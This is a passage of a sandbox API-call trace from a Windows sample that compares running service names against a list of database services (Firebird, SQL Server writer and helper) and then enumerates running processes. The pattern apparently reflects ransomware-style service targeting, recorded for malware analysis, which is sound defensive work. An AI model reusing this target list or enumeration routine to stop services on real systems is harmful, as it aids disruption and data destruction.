(lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0217.349] lstrlenW (lpString="lfsvc") returned 5 [0217.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0217.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0217.349] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0217.349] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0217.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0217.349] lstrlenW (lpString="LicenseManager") returned 14 [0217.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0217.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0217.349] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0217.349] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0217.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0217.349] lstrlenW (lpString="lmhosts") returned 7 [0217.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0217.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0217.349] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0217.349] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0217.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0217.349] lstrlenW (lpString="LSM") returned 3 [0217.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0217.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0217.350] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0217.350] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0217.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0217.350] lstrlenW (lpString="MpsSvc") returned 6 [0217.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0217.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0217.350] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0217.350] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0217.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0217.350] lstrlenW (lpString="NcbService") returned 10 [0217.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0217.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0217.350] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0217.350] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0217.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0217.350] lstrlenW (lpString="netprofm") returned 8 [0217.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0217.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0217.350] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0217.350] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0217.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0217.350] lstrlenW (lpString="NlaSvc") returned 6 [0217.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0217.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0217.350] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0217.350] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0217.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0217.351] lstrlenW (lpString="nsi") returned 3 [0217.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0217.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0217.351] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0217.351] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0217.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0217.351] lstrlenW (lpString="PcaSvc") returned 6 [0217.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0217.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0217.351] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0217.351] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0217.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0217.351] lstrlenW (lpString="PlugPlay") returned 8 [0217.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0217.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0217.351] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0217.351] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0217.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0217.351] lstrlenW (lpString="Power") returned 5 [0217.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0217.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0217.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0217.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0217.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0217.351] lstrlenW (lpString="ProfSvc") returned 7 [0217.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0217.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0217.352] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0217.352] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0217.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0217.352] lstrlenW (lpString="RpcEptMapper") returned 12 [0217.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.352] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0217.352] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0217.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0217.352] lstrlenW (lpString="RpcSs") returned 5 [0217.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0217.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0217.352] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0217.352] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0217.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0217.352] lstrlenW (lpString="SamSs") returned 5 [0217.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0217.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0217.352] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0217.352] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0217.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0217.352] lstrlenW (lpString="Schedule") returned 8 [0217.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0217.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0217.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0217.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0217.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0217.352] lstrlenW (lpString="SecurityHealthService") returned 21 [0217.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0217.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0217.353] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0217.353] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0217.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0217.353] lstrlenW (lpString="SENS") returned 4 [0217.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0217.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0217.353] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0217.353] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0217.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0217.353] lstrlenW (lpString="ShellHWDetection") returned 16 [0217.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.353] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0217.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0217.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0217.353] lstrlenW (lpString="Spooler") returned 7 [0217.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0217.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0217.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0217.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0217.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0217.353] lstrlenW (lpString="SSDPSRV") returned 7 [0217.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0217.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0217.353] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0217.353] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0217.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0217.354] lstrlenW (lpString="StateRepository") returned 15 [0217.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0217.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0217.354] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0217.354] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0217.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0217.354] lstrlenW (lpString="SysMain") returned 7 [0217.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0217.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0217.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0217.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0217.354] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0217.354] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0217.386] Process32FirstW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.387] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.388] lstrlenW (lpString="System") returned 6 [0217.388] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.388] lstrlenW (lpString="smss.exe") returned 8 [0217.389] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.389] lstrlenW (lpString="csrss.exe") returned 9 [0217.389] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.390] lstrlenW (lpString="wininit.exe") returned 11 [0217.390] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.495] lstrlenW (lpString="csrss.exe") returned 9 [0217.495] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.496] lstrlenW (lpString="winlogon.exe") returned 12 [0217.497] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.497] lstrlenW (lpString="services.exe") returned 12 [0217.497] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.498] lstrlenW (lpString="lsass.exe") returned 9 [0217.498] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.499] lstrlenW (lpString="svchost.exe") returned 11 [0217.499] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.500] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.500] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.500] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.500] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.501] lstrlenW (lpString="svchost.exe") returned 11 [0217.501] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.502] lstrlenW (lpString="dwm.exe") returned 7 [0217.502] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.502] lstrlenW (lpString="svchost.exe") returned 11 [0217.502] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.503] lstrlenW (lpString="svchost.exe") returned 11 [0217.503] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.504] lstrlenW (lpString="svchost.exe") returned 11 [0217.504] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.505] lstrlenW (lpString="svchost.exe") returned 11 [0217.505] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.505] lstrlenW (lpString="svchost.exe") returned 11 [0217.506] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.506] lstrlenW (lpString="svchost.exe") returned 11 [0217.506] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.507] lstrlenW (lpString="svchost.exe") returned 11 [0217.507] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.508] lstrlenW (lpString="svchost.exe") returned 11 [0217.508] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.508] lstrlenW (lpString="svchost.exe") returned 11 [0217.508] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.509] lstrlenW (lpString="spoolsv.exe") returned 11 [0217.509] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.510] lstrlenW (lpString="svchost.exe") returned 11 [0217.510] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.511] lstrlenW (lpString="svchost.exe") returned 11 [0217.511] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.512] lstrlenW (lpString="audiodg.exe") returned 11 [0217.512] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0217.512] lstrlenW (lpString="sihost.exe") returned 10 [0217.512] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.513] lstrlenW (lpString="svchost.exe") returned 11 [0217.513] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0217.514] lstrlenW (lpString="taskhostw.exe") returned 13 [0217.514] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0217.515] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0217.515] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0217.516] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0217.516] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.516] lstrlenW (lpString="explorer.exe") returned 12 [0217.516] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0217.517] lstrlenW (lpString="Memory Compression") returned 18 [0217.517] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0217.518] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0217.518] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0217.519] lstrlenW (lpString="SearchUI.exe") returned 12 [0217.519] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0217.519] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0217.519] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.520] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0217.520] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0217.521] lstrlenW (lpString="entering.exe") returned 12 [0217.521] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0217.595] lstrlenW (lpString="literally.exe") returned 13 [0217.595] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, 